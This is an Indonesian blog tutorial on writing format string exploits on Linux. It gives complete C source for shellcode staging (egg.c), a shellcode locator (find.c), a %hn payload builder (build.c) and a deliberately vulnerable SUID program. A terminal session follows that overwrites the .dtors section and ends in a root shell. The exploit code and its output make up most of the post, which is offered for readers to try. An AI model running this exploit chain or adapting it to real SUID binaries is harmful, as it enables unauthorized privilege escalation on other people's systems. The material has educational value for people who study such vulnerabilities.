//
you're reading...
Hacking

Menulis Exploit Format String

 

Di artikel terdahulu sudah di jelaskan bagaimana kesalahan dalam penggunaan fungsi format string mengakibatkan kita bisa mengakses informasi di dalam segmen stack (viewing stack) bahkan bisa di mungkinkan untuk melakukan writing di address yang kita inginkan hanya dengan mengetikan parameter format string seperti contoh di bawah ini:

 

printf  (“

_
);

printf (“AAA0AAA1_%08x.%08x.%08x.%08x.%08x”);

 

Contoh:

 

Address = 0x0849565c  =>  “\x5c\x56\x49\x08”

 

            printf  (“\x5c\x56\x49\x08_%08x.%08x.%08x.%08x.%08x”);

 

 

Dalam menulis eksploit format string ada beberapa langkah yang harus kita lakukan, yaitu :

 

  1. Membuat shellcode
  2. Mencari address dari shellcode yang kita buat.

Ini di perlukan karena nanti pada saat eksploitasi, run program yang vulneral akan di JUMP ke lokasi shellcode.

  1. Mengetahui lokasi .dtors  section dari program yang vulneral.

Perlu di ketahui juga bahwa kita menuliskan parameter format string di lokasi .dtors di tambah 4 bytes. Penambahan 4 bytes setelah .dtors section  di tujukan untuk menuliskan high address dan low address. Contoh :

 

splitaddr0 = (addr >> 24) & 0xff;

splitaddr1 = (addr >> 16) & 0xff;

splitaddr2 = (addr >>  8) & 0xff;

splitaddr3 = (addr ) & 0xff;

 

atau,

 

splitaddr0 = (addr & 0xff000000) >> 24;

splitaddr1 = (addr & 0x00ff0000) >> 16;

splitaddr2 = (addr & 0x0000ff00) >>  8;

splitaddr3 = (addr & 0x000000ff);

 

4.      Menemukan Offset dari varibel yang akan kita tulis.

Ini adalah penting untuk di lakukan karena dari sinilah kita bisa menentukan kira-kira perlu berapa bytes untuk  menulisan di lokasi buffer yang tepat.

 

Format penulisan di segmen stack (memori) adalah sebagai berikut:

 


 

parameter format string =

[ ] –> (high-low address)

                                                           

Parameter Format String di tujukan untuk mengarahkan running program ke alamat shellcode. Mungkin dari Anda ada yang bertanya mengapa ada NOP? Tentu penulisan NOP (0x90) di tujukan agar run program tidak terhenti (break), karena jika di temukan NULL bytes (0x00) sebelum shellcode menyebabkan proses akan terhenti karena NULL bytes  merupakan EXIT CODE.

 

Untuk memudahkan Anda dalam memahami konsep di atas, di sini akan penulis jelaskan melalui beberapa source code:

 

  1. Source shellcode / eggshell, script untuk membuat shellcode di stack.
  2. Source shellcode finder, script untuk menemukan lokasi shellcode kita yang di load di stack.
  3. Source format builder, script untuk membuat parameter format string sesuai dengan address dan align yang di inginkan (easy step).
  4. Source code yang mengandung fungsi format string yang vulnerable.

 

Dengan bantuan empat script di atas ada 3 data yang harus kita cari yaitu :

 

  1.  
    1. Menemukan lokasi dari shellcode yang kita buat di stack.
    2. Mencari lokasi .dtors section dari program yang vulnerable.
    3. Mencari angka align agar lokasi penulisan ke buffer bisa tepat.

 

Silahkan Anda tulis seluruh source code di bawah ini ….

 

SOURCE: egg.c

 

/*

 *     this shall set egg shell in our environment

 *     ./egg

 *       truefinder, seo@igrus.inha.ac.kr

 *

 */

 

#include

#include

#include

 

#define DEF_EGGSIZE     4096

#define DEF_ALIGN       5

 

char nop[] = { 0x90 };

 

 

 

static char shellcode[] =

        “\x6a\x17\x58\x31\xdb\xcd\x80\x31”

       “\xd2\x52\x68\x6e\x2f\x73\x68\x68”

       “\x2f\x2f\x62\x69\x89\xe3\x52\x53”

       “\x89\xe1\x8d\x42\x0b\xcd\x80”;

 

 

 

int

main( int argc, char *argv[] )

{

 

        char *eggbuf, *buf_ptr;

        int align, i, eggsize ;

 

        align = DEF_ALIGN;

        eggsize = DEF_EGGSIZE ;

 

        if ( argc < 2 ) {

                printf (“%s \n”, argv[0] );

                exit(0);

        }

 

        if ( argc > 1 )

                align = DEF_ALIGN + atoi(argv[1]);

 

        if ( argc > 2 )

                eggsize =  atoi(argv[2]) + DEF_ALIGN ;

 

 

        if ( (eggbuf = malloc( eggsize )) == NULL ) {

                printf (“error : malloc \n”);

                exit (-1);

        }

 

 

        /* set egg buf */

        memset( eggbuf, (int)NULL , eggsize );

 

 

        for ( i = 0; i <  250 ; i++ )

                strcat ( eggbuf, nop );

 

        strcat ( eggbuf, shellcode );

 

        for ( i =0 ; i < align ; i++ )

                strcat ( eggbuf, “A”);

 

        memcpy ( eggbuf, “S=”, 2 );

        putenv ( eggbuf );

 

        system(“/bin/sh”);

 

}

 

 

SOURCE: find.c

 

#include

#include

#include

/*Thanks to GOBBLES for the code*/

 

unsigned long get_sp(void)

{       __asm__ (“movl %esp, %eax”);

}

 

 

int i=0;

char *pointer;

char *nops = “\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90”;

main(){

  fprintf(stderr, “. SUCHE!\n”);

                pointer = (char *)get_sp();

                while((i = strncmp(pointer, nops, strlen(nops))) != 0)

                        pointer++;

 

                if(i == 0) {

                        fprintf(stderr, “Shellcode ist bei —-> : 0x%lx\n”, pointer+1);

                        return;

                }

                else {

                        fprintf(stderr, “Sorry nimm GDB\n”);

                        return;

                }

}

 

 

SOURCE: build.c

 

#include

#include

#include

#include

 

/**

   The 4 bytes where we have to write are placed that way : HH HH LL LL

 

   The variables ending with “*h” refer to the high part of the word (H)

   The variables ending with “*l” refer to the low part of the word (L)

 */

char* build(unsigned int addr, unsigned int value, unsigned int where) {

 

  unsigned int length = 128; //too lazy to evaluate the true length …

  unsigned int valh;

  unsigned int vall;

  unsigned char b0 = (addr >> 24) & 0xff;

  unsigned char b1 = (addr >> 16) & 0xff;

  unsigned char b2 = (addr >>  8) & 0xff;

  unsigned char b3 = (addr      ) & 0xff;

 

  char *buf;

 

  /* detailing the value */

  valh = (value >> 16) & 0xffff; //top

  vall = value & 0xffff;         //bottom

 

  fprintf(stderr, “adr : %d (%x)\n”, addr, addr);

  fprintf(stderr, “val : %d (%x)\n”, value, value);

  fprintf(stderr, “valh: %d (%.4x)\n”, valh, valh);

  fprintf(stderr, “vall: %d (%.4x)\n”, vall, vall);

 

  /* buffer allocation */

  if ( ! (buf = (char *)malloc(length*sizeof(char))) ) {

    fprintf(stderr, “Can’t allocate buffer (%d)\n”, length);

    exit(EXIT_FAILURE);

  }

  memset(buf, 0, length);

 

  /* let’s build */

  if (valh < vall) {

 

    snprintf(buf,

             length,

             “%c%c%c%c”           /* high address */

             “%c%c%c%c”           /* low address */

 

             “%%.%hdx”            /* set the value for the first %hn */

             “%%%d$hn”            /* the %hn for the high part */

 

             “%%.%hdx”            /* set the value for the second %hn */

             “%%%d$hn”            /* the %hn for the low part */        

             ,

             b3+2, b2, b1, b0,    /* high address */

             b3, b2, b1, b0,      /* low address */

 

             valh-8,              /* set the value for the first %hn */ 

             where,               /* the %hn for the high part */       

                                                                        

             vall-valh,           /* set the value for the second %hn */

             where+1              /* the %hn for the low part */              

             );

            

  } else {

 

     snprintf(buf,

             length,

             “%c%c%c%c”           /* high address */

             “%c%c%c%c”           /* low address */

 

             “%%.%hdx”            /* set the value for the first %hn */   

             “%%%d$hn”            /* the %hn for the high part */         

                                                                           

             “%%.%hdx”            /* set the value for the second %hn */  

             “%%%d$hn”            /* the %hn for the low part */          

             ,                                                             

             b3+2, b2, b1, b0,    /* high address */                      

             b3, b2, b1, b0,      /* low address */                       

                                                                          

             vall-8,              /* set the value for the first %hn */   

             where+1,             /* the %hn for the high part */         

                                                                          

             valh-vall,           /* set the value for the second %hn */  

             where                /* the %hn for the low part */

             );

  }

  return buf;

}

 

int

main(int argc, char **argv) {

 

  char *buf;

 

  if (argc < 3)

    return EXIT_FAILURE;

  buf = build(strtoul(argv[1], NULL, 16),  /* adresse */

              strtoul(argv[2], NULL, 16),  /* valeur */

              atoi(argv[3]));              /* offset */

 

  fprintf(stderr, “[%s] (%d)\n”, buf, strlen(buf));

  printf(“%s”,  buf);

  return EXIT_SUCCESS;

}

 

 

SOURCE: test.c

 

int main(int argc, char **argv)

{

  int foo = 0x42424242;

  char buffer[128];

 

  if (argc==1) {

    printf(“%s \n”, argv[0]);

    exit(1);

  }

 

  printf(“Format String Exploitation [Testing Program] \n”);

  printf(“By Schizoprenic, Xnuxer-Research (c) 2002\n\n”);

 

  printf(“foo at 0x%x = 0x%x\n”,&foo, foo);

 

  memset(buffer, 0, sizeof(buffer));

  snprintf(buffer,sizeof(buffer), argv[1]);  /* Vulnerable */

  printf(“Buffer=[%s] (%d)\n\n”, buffer, strlen(buffer)); /* Check Only */

 

  return(0);

}

 

 

Oke sekarang kita akan mendemostrasikan secara nyata konsep eksploitasi format string. Kompile seluruh source di atas dan tambahkan bits SUID ke file test (test.c) ….

 

[xnuxer@xnuxer xnuxer]$ gcc -o test test.c

[xnuxer@xnuxer xnuxer]$ su

Password:

[root@xnuxer xnuxer]# chown root.root test

[root@xnuxer xnuxer]# chmod 4755 test

[root@xnuxer xnuxer]# exit

exit

[xnuxer@xnuxer xnuxer]$ stat test

  File: “test”

  Size: 14479           Blocks: 32         IO Block: 4096   Regular File

Device: 301h/769d       Inode: 50766       Links: 1

Access: (4755/-rwsr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)

Access: Sat Sep  7 06:17:29 2002

Modify: Sat Sep  7 06:17:29 2002

Change: Sat Sep  7 06:17:55 2002

 

 

Jalankan program eggshell (egg.c) agar shellcode di load ke stack ….

 

[xnuxer@xnuxer xnuxer]$ ./egg 5 6000

sh-2.05$ id

uid=500(xnuxer) gid=500(xnuxer) groups=500(xnuxer)

 

Temukan lokasi shellcode di stack dengan menggunakan program shellcode finder (find.c) …..

 

[xnuxer@xnuxer xnuxer]$ ./egg 5 6000

sh-2.05$ ./find

. SUCHE!

Shellcode ist bei —-> : 0xbffffd89      <– Catat lokasi dari shellcode kita

 

Cari lokasi .dtors section dari program test (test.c) …..

 

sh-2.05$ objdump -s -j .dtors test

 

test:     file format elf32-i386

 

Contents of section .dtors:

 804977c ffffffff 00000000                    ……..

       ^——————————— Nah ini lokasi .dtors section

 

Tambahkan address .dtors section dengan 4 bytes ….

 

0x0804977c + 4 bytes = 0x8049780     <– Dari lokasi inilah kita akan melakukan overwrite

 

Sekarang saatnya kita mencari align yang tepat ….

 

[ TESTING PERTAMA –> align = 1 (AAAA%1\$x) ]

 

sh-2.05$ ./test AAAA%1\$x

Format String Exploitation [Testing Program]

By Schizoprenic, Xnuxer-Research (c) 2002

 

foo at 0xbffff90c = 0x42424242

Buffer=[AAAAbffff8bc] (12)

 

[ TESTING KEDUA –> align = 2 (AAAA%2\$x) ]

 

sh-2.05$ ./test AAAA%2\$x

Format String Exploitation [Testing Program]

By Schizoprenic, Xnuxer-Research (c) 2002

 

foo at 0xbffff90c = 0x42424242

Buffer=[AAAA41414141] (12)     <——- Gotcha, Alignnya di temukan

 

[ TESTING KETIGA –> align = 3 (AAAA%3\$x) ]

 

sh-2.05$ ./test AAAA%3\$x

Format String Exploitation [Testing Program]

By Schizoprenic, Xnuxer-Research (c) 2002

 

foo at 0xbffff90c = 0x42424242

Buffer=[AAAA0] (5)

 

Dari testing kedua Anda bisa melihat bahwa karakter “AAAA” terduplikasi dengan benar di variabel buffer[ ].

 

Di sini kita telah mendapatkan 3 data yaitu :

 

  1. Lokasi shellcode = 0xbffffd89
  2. Lokasi overwrite .dtors section = 0x8049780
  3. Value align = 2

 

Intinya nanti adalah dengan menuliskan parameter format string di lokasi overwrite .dtors section, dengan menggunakan parameter tersebut running program akan di arahkan ke alamat shellcode. Dan nanti yang terjadi adalah shellcode akan di jalankan dengan akses dan permission dari file test (test.c) yang mengandung bits SUID.

 

 Untuk membuat parameter format string gunakanlah program build (build.c). Dari data di atas maka parameter format string-nya adalah :

 

[xnuxer@xnuxer xnuxer]$ ./build 0x08049780 0xbffffd89 2

adr : 134518656 (8049780)

val : -1073742455 (bffffd89)

valh: 49151 (bfff)

vall: 64905 (fd89)

[%.49143x%2$hn%.15754x%3$hn] (34)

%.49143x%2$hn%.15754x%3$     <—— Ini parameternya

 

Oke sekarang kita lanjutkan lagi eksperimen kita …

 

[ di jalankan dari shellcode yang kita buat ]

 

sh-2.05$ ./test `./build 0x08049780 0xbffffd89 2`

adr : 134518656 (8049780)

val : -1073742455 (bffffd89)

valh: 49151 (bfff)

vall: 64905 (fd89)

[%.49143x%2$hn%.15754x%3$hn] (34)

Format String Exploitation [Testing Program]

By Schizoprenic, Xnuxer-Research (c) 2002

 

foo at 0xbffff8fc = 0x42424242

Buffer=[00000000000000000000000000000000000000000 0000000000000000000000000000000000000000000

00000000000000000000000000000000000] (127)

 

sh-2.05# id

uid=0(root) gid=0(root) groups=500(xnuxer)

sh-2.05#

 

Uppss kita telah berhasil melakukan take over (he..he…he…) yaaa sebenarnya metode yang di gunakan cukup masuk akal dan bagi Anda yang programmer tentu tidak akan bingung dengan logika-logika yang di gunakan.

 

Keep of The Spirits, tunjukan bahwa hacker Indonesia pun tidak kalah dengan hacker-hacker lain di dunia ;P Selamat Mencoba!.

 

Note: Testing di lakukan di mesin PC Intel i686 dengan Operating System Linux Redhat 7.2 (Enigma)

 

CREDIT:

         “Exploiting Local Format String Holes on x86/linux”, Promisc Digital Research Group.

         “Format String Builder Howto v0.1”, Frederic “Pappy” Raynal & Samuel “Zorgon” Dralet.

         “Exploiting Format String Vulneralbilities Version 1.2”, SCUT/Team Teso, September 1, 2001.

         “How to Write Format String Exploits”, Delikon (http://www.Delikon.de.vu/).

 

Iklan

Diskusi

Belum ada komentar.

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s

LINK

Enter spyroZONE! - www.spyrozone.net
Januari 2008
S S R K J S M
« Des   Feb »
 123456
78910111213
14151617181920
21222324252627
28293031  

SHOTBOX


Kategori

Live Chat

%d blogger menyukai ini: